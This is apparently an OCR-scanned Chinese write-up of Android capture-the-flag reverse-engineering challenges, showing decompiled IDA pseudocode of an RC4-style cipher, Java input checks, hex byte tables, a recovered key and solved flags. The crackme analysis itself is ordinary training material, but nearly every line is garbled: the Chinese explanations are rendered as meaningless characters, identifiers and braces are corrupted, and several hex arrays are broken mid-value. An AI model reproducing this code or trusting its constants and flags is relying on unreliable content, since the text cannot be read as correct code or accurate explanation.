“{)Ljavaslang/String;™);
vd = j_j_j_ 2ZN7_JHIEnv16CallObjectHethodEP8_jobjectP18_jmethodIDz{vs, uh, u7);

uZ2G = B;
5 = {char =)}{{int (_ fastcall =)({JHIEnw *, int, DUWORD}){=u5)->GetStringUTFChars)(v5, vE, B);

S R BT H B I messageMe 745 . v7D=A, M. E
e str2

v23 = (const char =){{int (__ fastcall =)(JHIEnw ;, int, _DHDRD))(*uS)—)ﬁetStringUTFEhars)(US, vi, A);



XA RN FAT 5

KN T 55 5 e v7p=~,M.E BHTPR A S (R SRR 58947 F IR [R] v7D=~,M.E , 4EERE0) , (HZREE A FE RN 7455
I

if ( vo )
{
do
{
if {( vig )
{
ull = 8;
do
{

#(Buzufuza] + vi1) = s[uid] © ={&v23[v2a] + vil);
vz = vZd + vil++ + 1;

H
while { vi1 <€ vid && vi2 € vd );
H
vZh += ul@;
H
while { v26 € v9 );
H

MWEERTE, fE4HiH success , H 5 compare HLHET

if ( vi17 && *j_j_strncmp(v?7, compare, ui?) )
{
j_j__ android_log_print(2, "HJCTF-easycrack™, "success: %s", u27);
ul19 = compare;
v28 = j_j_strlen{compare);
j_j_strncmp({uv27, uvi19, v2d);
v18 = {int (*){void)){*=v22)->HewStringUTF;
3
else
{
j_j__ android_log_print(é, "HJCTF-easycrack™, "failed : %s", v27);
v18 = {int (*){void)){*=v22)->HewStringUTF;
3

compare:

|.rudata:ﬂﬂﬂ18EﬂB aC8ekefBeldccad DCB "CHEAEFBE4UDCCAGE3BEB134FB635E97BEEADIE2FFF314BGOFFEFS198A2ZAAY, B

I i V27 :

if { vi3 )
{
ul6 = (char =)u27;
do
{
i_j_snprintf{uvis, 3u, "%E2X", *u15);
vl += 2;
—--ul13d;
++ui5;
H
while { vi13 };

KRG TN RN 7475 8, X Hcompare, 7] LLRIE N J5 F 5 & 7445 8 75 it i =X
OxC8,0xE4,0xEF,0x0E,0x4D,0xCC,0xA6,0x83,0x08,0x81,0x34,0xF8,0x63,0Xx5E,0x97,0x0E ,0XEA,0xD9,0xE2,0x77,0xF3,0x14,0
x86,0x9F ,0x7E,0xF5,0x19,0x8A,0x2A, 0xA4



1. GREE[ART B, RBLPAS S B AL

uzg = "ma_I";
u29 = "eht_";

uid = "yek_";
vil = B;
vi3d = vd;

vls = j_j_strlen{(const char =)&uZ8);

vis u2h;
j_i_j_ Z25cryptPhS_m{{unsigned _ int® =)&u32, uv2h, v13);

IR SN
EELE AT ) I_am_the_key , AR A5 NI &

7.initek %

j_j_j_ ZuinitPhS_m{{unsigned _ int® =*)&u3?, (unsigned _ int8 =)&u28, wvik);

int _ fastcall init{unsigned _ int8 =ai1, unsigned _ int8 =a2, unsigned _ int32 a3)

{

signed int v3; // r5@1

int vh; /7 ra@l

int u5; // ro@d

int v6; /Ff ri1E2

char =u¥; f/ rB@z2

unsigned  int8 =u8; // r1@3

int v%; fF r2EL

int result; /7 ro@s

unsigned _ int8® =u11; /7 [sp+4h] [bp-11Ch]E1
unsigned _ int32 vi2; // [sp+8h] [bp-118h]E1
unsigned _ int8® =u13; /7 [sp+Ch] [bp-114h]@1
char vi4[256]; /7 [sp+18h] [bp-116h]@E1

int vi5; /7 [sp+116h] [bp-16h]@1

iz = a3;

vi1 = az;

i3 = ail;

u1t = stack_chk_guard;
u3d = 256;

j_j_ aeabi memclrifuil};
uh = B;

vt = B;

do

{

v13[us] = u5;
j_j_j_  aeabi_uidivmod{v:, vi2});

Ui = ullh;

ulh[us++] = vid[ub];
H
while { v5 %= 256 );
v = ui3;
do
{

Ul = =ug;

ul = {ud + vl + {unsigned  int8)=u7}) % 256;
*u8 = ui3[us];
u13[uvld] = vo;
--u3;
++U7 ;
++uf;
H
while { u3 J);
result = _stack_chk_guard - vi5;

RABRBCE SR T D REANN TR, ERIEAEME T 1_am_the_key
—HENEME, B~ il bE AP — Ml

ARG AT 1AL E A, B AR TR .

S BB BIWT AR L O 45

(X BIFIRANKNIEVE /2 AL, PIF] g



, 0xe8, 0x58, 0x26, 0x32, 0x81, 0xd, Oxac, 0x49, 0xbb, 0x10, 0x46, 0x65, 0xb3, 0x92, 0xf, 0x84, 0xb&, 0xbf, 0xf2, 0x32,
23, O*ob Oxfe, 0xdb, 0x59, 0x6a, 0xf0, 0xdd, 0x60, 0x69, 0x16, 0x8e, Oxfb, 0x94, 0x48, Oxbe, 0x71, 0x36, 0x57, Oxad, 0x44, 0x7c, 0x95, Oxda, O}
0x47, Oxdb, 0x35, 0x3c, 0xd2, 0x23, Oxcb, Oxa8, O}b 0x9f, 0x31, 0xd8, 0x1f, 0x3f, 0xb0, O} Oxel, Oxba, Ox4da, 0xf9, 0x1, 0x54, Oxa7, Oxad

Oxcc.Ovu 0x99, 0x63, 0x 9b OvaO Oxbd, 0xb, 0xf7, Oxcb, Oxab, 0x22, Oxc2, 0x8a, 0x38, 0x7d, Ox 6 0xbl, 0xc0, Ox4e, O”_4.0X36.0555.0X67.0X
2 Oan O~ 73, 0x89, 0x9e, Oxba, 0x88, 0x3d, Ow“S O 62, Ovbf 0xfd, 0x43, 0x98, 0x4d, 0x56, 0xb2, Oxc, 0x29, Oxbe, O~ 8, 0x25, 0xel, 0xe9, 0xf]
, x13, Oxed, 0x£8, 03"4 0x20, 0x87, 0x2, 0xTh, 0xf1, 0x6d, Oxc7, 0x8c, 0x9d, 0x86, 0x3b, OA66 0xfa, 0xb6, 0x42, Oxﬁf.Ox14.0xd0.0x19
.Oxaf.Oxl].OX 1.0x96.0x85.0x91.0KbS.Oan.Oxlb.OX18.0X36.0xa;.Ox4b.0x40.0xd4.0de.Oxfa.OXSb.OXSC.Ox;c.Oxe6.0xfe.Oxa4.0xSO
L O0xe7, 0xff, 0xc8, 0xbf, Oxe2, Oxle, Oxdf, Oxae, 0x7f, Oxe3, 0x61, Oxef, 0x90, Ox6c, 0x51, 0x2f, Oxec, 0x12, 0x7a, Oxaa, Oxdd, 0x77, 0xfh, Ox4,
0xd9, 0x83, 0x33, Oxeb, 0x80, 0x27, 0x3, Oxb4, 0x9, 0x37, 0x6b, 0x41, 0x4f, 0x7e, 0xf3, 0x24, 0xf4, 0xc9, 0x7, 0xdl, 0x45, 0x70, Oxal, Oxd7, Ox
, 0293, 0x15, Oxca, O0x4c, Oxed, 0x97, 0xb9, Oxea, 0x0, 0xb5e, 0xla, 0x9a, Oxcf, 0x79, Oxa, 0x3e, 0x82, 0xd3, 0x68, 0x75, 0x64, Oxce, 0x55, Oxe

<be, 0x1d, Oxe4, Oxcl, 0xch, Oxde, Oxcc, Oxle, 0x17, 0xd6, Oxdc, 0x53, 0x76,

exited with return value 0
ey to continue




1. cryptefi %L

4
HE
HE
int v /7
= |.];
if | )
{
= |.];
do
{
= + 1) % 256;
= *{ ¥ + ¥s
= {uS + ul) ¥ 256;
*( ¥ + ) = =( ¥ + ¥s
*( ¥ + ) = H
*a2 "= x( ¥ + (= ¥ + )+ ) & BxFF));
++ ;
H
while y:
H
return H
H

RARBARIRE S, B RIREE R2 e KN 7758, M H compare i % 15 21| o 7] 745 53 «




Ox4de, 0x7, Ox4f, 0x3f, Ox4f, 0x26, 0x71, 0x23, 0x39, 0x45, Ox1b, 0x5f




flag: It_s_a_easyCrack_for_beginners

safeBox

tips: Don't believe what you saw.

The flag's format is NJICTF{xxx} and xxx only include [a-z][A-Z][©-9].
fift FEapk K I %A so 3 A

FLETUNJEB:

1. R IEAE I, HIGEEE 7 MainActivity:

this.findViewById(2131427415) .setoOnClickListener (new ViewSonClickListener() {
public void onClick(View wv) {
String vé = "NJCTF{";
int v4 = Integer.parselnt(this.valsEtl.getText ().toString());
if(v4 > 10000000 && w4 < 999999989) {
int v7 = 1;
int v8 = 10000000;
int v3 = 1;
if (Math.abs(v4 / 1000 % 100 — 36) == 3 && v4 % 1000 % 584 == 0) {
int v5 = 0;
while (v5 < 4) {
if(vd / v7 % 10 !'= v4 / w8 % 10) {
v = 0;
1
else {
vl *= 10;
ve /= 10;
++v5;
continue;
1
break;
}
if(v3 !'= 1) {
return;
}

this.valSEtl.setText (vée + (((char) (v4 / 1000000))) + (((chaxr) (v4 / 10000 % 100)))
+ (((chaxr) (v4 / 100 % 100))) + "£4n}");

IDN

KA — 8O H, I H R L EAR, 133 48533584 , 133145 K:

NICTF{@5#fan} IR AFF G H 2K, BARAETHL L2 7, B2, fRCIRRHIR.
2. XA FREEF)H 2% androidTest

A5, AHLHTAN:

this.findVviewById(2131427415) .setOnClicklListener (new ViewsOnClickListensr () {
public void onClick(view wv) {
int vl1l = 3;
String vé = "NJCTF{have";
int v4 = Integer.parselnt(this.valsfEtl.getText () .toString());

if(v4 > 10000000 && w4 < 999989999) {



int v7 = 1;

int v8 = 10000000;

int v3 = 1;

if(Math.abs(v4 / 1000 % 100 - 36) == vll && v4 % 1000 % 584 == 0) {
int v5 = 0;
while (vS < v1l1l) {

if(vd / v7 % 10 '= v4 / v8 % 10) {
v3 = 0;
}
else {
w7 *= 10;
vg /= 10;
++v5;
continue;
}
break;
}
if(wv3 = 1) {
return;

1

this.valSEtl.setText (vé + (((char) (v4 / 1000000))) + (((chax) (v4 / 10000 % 100)))
+ (((char) (v4 / 100 % 100 + 10))) + "£4n}");

XANASBR A b R P A7 A S, T S A +10, BLI{5 3 48539584 1Y, 48533584 1251 ML 15 3|45 5 NICTF{have@5ifan} (UL
FH(F) 2 48539584 ) , 423 FE/.

XAMBEH MR, AEMEEDIW

flag: NICTF{have@5if4n}

LittleRotatorGame

tips: keep the screen green and rotate, you will get the flag.

The flag's format is njctf{xxx} and xxx only include [a-z][A-Z][©-9].

XA EelHCIE S 4 S APP, mi# M Native Android



Yo U R BRI AL S BURRIE, I8 Ui R afig ek AT DAAS 2 7 5 -

IDA View-4 | Pseudecode-4  [E) © Hex View-1 [

115 {
116 while ¢ 1)

117 {

118 while ¢ 1)

119 {

128 while ¢ 1)

121 {

122 while ¢ 1)

123 {

124 while ¢ 1 )

125 {

126 while ¢ 1)

127 {

128 while ¢ 1)

129 {

138 while { 1)

131 {

132 while { 1)

1323 {

134 while { 1)

135 {

136 while { 1)

137 {

138 while { 1)

139 {

148 while { 1)

141 {

142 while { 1)

143 {

144 while { 1)

145 {

146 while { 1)

147 {

148 while { 1)
149 {

158 while { 1)
151 {

152 while { 1)
153 {

154 while ( 1)




IDA View-4 [ Fzeudocode-4 [E

21| char v28; ff ro@i
22| int w21; /7 i@
23| int w22; 7 ro@El
24 int w23; 7 roeeEi
25| char wv2h; ff ro@i
26
27| w2 = az;

28| w3 = al;

29 wh = at;

38 ws = {{int {=)(void))j_j__ modsi3){);
kal UG = uh;

32 wi = 28 = u5;

33| =uw2 = 28 = 05,

34 w8 = j_j_ divsi3{vu, 1808);

35 w9 = j_j_ modsi3({ve, 18);

36 wvif = v9;

ar vwil =19 = u9 + u7;

38| w2[1] = vii;

39 w2[2] = vil - b;

48| viZ = uh;

4 wi3d = j_j_ divsi3{ul, 18);

420 wik = j_ j_ modsi3{uvi3, 18);

43| vi5 = j_j_ diwsi3{vi, 1600000);
byl v2[3] = j_j__ modsi3{uis, 18) + 11 = vih;
45| vi6 = j_j_ diwsi3{vh, 1880);

4| wil? = j_j_ modsi3{uvia, 18);

47| LOBYTE{uL4) = vi7;

48| vig = vi7;

49| w19 = j j_ divsi3(ui2, 10600);
560 vzd = j_ j  modsi3{uvi?, 18});

51| uwZ[4] = 28 = vh + 68 - v20 - 68;

B2 w21 = -vdo - vih;

B3| w2Z = -vi1i;

54l wZ[5] = —{char)uzi = uk;
SEl wZ[6] = vih = vl = uZ0;

6| v23 = j_j_ divsi3(u3, 100600);
57 w2zh = j j  modsi3{vZ3, 18);

58| u2[7] = 28 = uZh - ui0;

59| u2[8] = 18 = vig | 1;

68| uw2[9] = v22 = v24 - 1;

61 wZ[18] = vH = vih = vi0 = vid - 4;
62| wz[11] (uid + vil) = vZh - 5;

63| w2[12] a;

G4 return vZ;

AR LS S PIT T E angr, IEAZIXANEL

flag: PvrNa7iv3All
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